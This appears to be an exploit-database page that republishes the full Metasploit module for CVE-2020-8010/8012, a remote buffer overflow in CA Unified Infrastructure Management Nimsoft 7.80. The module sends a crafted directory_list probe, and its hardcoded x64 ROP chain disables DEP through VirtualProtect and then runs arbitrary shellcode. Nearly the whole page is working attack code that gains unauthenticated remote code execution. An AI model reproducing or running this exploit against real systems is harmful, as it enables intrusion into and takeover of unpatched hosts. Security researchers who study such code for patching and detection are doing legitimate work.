CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow
CVE
Category
Price
Severity
CVE-2020-8010
CWE-119
$5,000
High
Author
Risk
Exploitation Type
Date
kapustkiy
High
Remote
2020-08-01
CPE
cpe:cpe:/a:ca:unified_infrastructure_management:nimsoft:7.80
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Adjacent AV The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020080007 Below is a copy:
CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
probe.
Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
directory_list probe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'wetw0rk' # Vulnerability Discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
[ 'PACKETSTORM', '156577' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
},
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => ARCH_X64,
'Targets' =>
[
[
'Windows Universal (x64) - v7.80.3132',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',
'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
}
],
],
'Privileged' => true,
'Notes' => { 'Stability' => [ CRASH_SAFE ] },
'DisclosureDate' => 'Feb 05 2020',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
Opt::RPORT(48000),
]
)
end
# check: there are only two prerequisites to getting code execution. The version number
# and access to the directory_list probe. The easiest way to get this information is to
# ask nicely ;)
def check
connect
sock.put(generate_probe('get_info', ['interfaces=0']))
response = sock.get_once(4096)
list_check = -1
begin
if target['Version'].in? response
print_status("Version #{target['Version']} detected, sending directory_list probe")
sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
end
ensure
disconnect
end
if list_check == 0
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
super
connect
shellcode = make_nops(500)
shellcode << payload.encoded
offset = rand_text_alphanumeric(1000)
offset += "\x0f" * 33
heap_flip = [target.ret].pack('<Q*')
alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
rop_chain = generate_rsp_chain # Stage1: Stack alignment
rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
rop_chain.length
))
rop_chain += "kernel32.dll\x00"
rop_chain += "VirtualProtect\x00"
trigger = "\x10" * (8000 - (
offset.length +
heap_flip.length +
alignment.length +
rop_chain.length +
shellcode.length
)
)
buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
exploit_packet = generate_probe(
'directory_list',
["directory=#{buffer}"]
)
sock.put(exploit_packet)
disconnect
end
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
def generate_rsp_chain
rop_gadgets = [0x0000000140018c42] * 20 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, # pop rdi ; ret
0x0000000000000007, # alignment for rsp
0x0000000140025dab
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
return rop_gadgets.pack('<Q*')
end
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
def generate_rop_chain
# RAX -> HMODULE GetModuleHandleA(
# ( RCX == *module ) LPCSTR lpModuleName,
# );
rop_gadgets = [0x0000000140018c42] * 15 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x00000000000009dd, # offset to "kernel32.dll"
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161
] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
rop_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> FARPROC GetProcAddressStub(
# ( RCX == &addr ) HMODULE hModule,
# ( RDX == *module ) lpProcName
# );
rop_gadgets += [
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x0000000000000812, # offset to "virtualprotectstub"
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]
# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
rop_gadgets += [
0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 6 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x000000014015e318
] # GetProcAddressStub (0x00000000014015e338-20)
rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
rop_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> BOOL VirtualProtectStub(
# ( RCX == *shellcode ) LPVOID lpAddress,
# ( RDX == len(shellcode) ) SIZE_T dwSize,
# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
# ( R9 == *writeable location ) PDWORD lpflOldProtect,
# );
rop_gadgets += [
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
0x000000014013d651, # pop r12 ; ret
0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74
] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000
]
rop_gadgets += [
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x000000000000059f, # (offset to *shellcode)
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x00000001400496a2, # pop rdx ; ret
0x00000000000005dc
] # dwSize
rop_gadgets += [
0x00000001400bc39c, # pop r8 ; ret
0x0000000000000040
] # flNewProtect
rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
rop_gadgets += [0x0000000140018c42] * 17 # ret
rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 20 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x0000000000000317, # (offset to our shellcode)
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400a9747] # jmp rax
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
return rop_gadgets.pack('<Q*')
end
# parse_listing: once the directory_list probe is sent we're returned a directory listing
# unfortunately it's hard to read this simply "decodes" it
def parse_listing(response, directory)
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
i = 0
begin
dirlist = response.split('\x00')[0].split("\x00")
index = dirlist.index('entry') + 3
final = dirlist[index..-1]
rescue StandardError
print_error('Failed to gather directory listing')
return -1
end
print_line("\n Directory of #{directory}\n")
check = 0
name = 0
ftime = 0
size = 0
ftype = 0
while i < final.length
if name == 1
unless final[i].to_i > 0
result['name'] = final[i]
name = 0
check += 1
end
end
if size >= 1
if size == 3
result['size'] = final[i]
size = 0
check += 1
else
size += 1
end
end
if ftype >= 1
if ftype == 3
result['type'] = final[i]
ftype = 0
check += 1
else
ftype += 1
end
end
if ftime >= 1
if ftime == 3
result['date'] = final[i]
ftime = 0
check += 1
else
ftime += 1
end
end
if final[i].include? 'name'
name = 1
end
if final[i].include? 'size'
size = 1
end
if final[i].include? 'size'
ftype = 1
end
if final[i].include? 'last_modified'
ftime = 1
end
i += 1
next unless check == 4
if result['type'] == '2'
result['type'] = ''
else
result['type'] = '<DIR>'
result['size'] = ''
end
begin
time = Time.at(result['date'].to_i)
timestamp = time.strftime('%m/%d/%Y %I:%M %p')
rescue StandardError
timestamp = '??/??/???? ??:?? ??'
end
print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))
check = 0
end
print_line('')
return 0
end
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
# craft probes in order for the controller to accept any input.
def generate_probe(probe, args)
client = "#{rand_text_alphanumeric(14)}\x00"
packet_args = ''
probe += "\x00"
for arg in args
c = ''
i = 0
while c != '='
c = arg[i]
i += 1
end
packet_args << "#{arg[0, (i - 1)]}\x00"
packet_args << "1\x00#{arg[i..-1].length + 1}\x00"
packet_args << "#{arg[i..-1]}\x00"
end
packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
packet_body = "mtype\x00" # mtype
packet_body << "7\x004\x00100\x00" # 7.4.100
packet_body << "cmd\x00" # cmd
packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
packet_body << probe # probe
packet_body << "seq\x00" # seq
packet_body << "1\x002\x000\x00" # 1.2.0
packet_body << "ts\x00" # ts
packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
packet_body << "frm\x00" # frm
packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
packet_body << client # client address
packet_body << "tout\x00" # tout
packet_body << "1\x004\x00180\x00" # 1.4.180
packet_body << "addr\x00" # addr
packet_body << "7\x000\x00" # 7.0
#
# probe packet arguments (dynamic)
# argument
# length of arg value
# argument value
packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
probe = packet_header + packet_body + packet_args
return probe
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum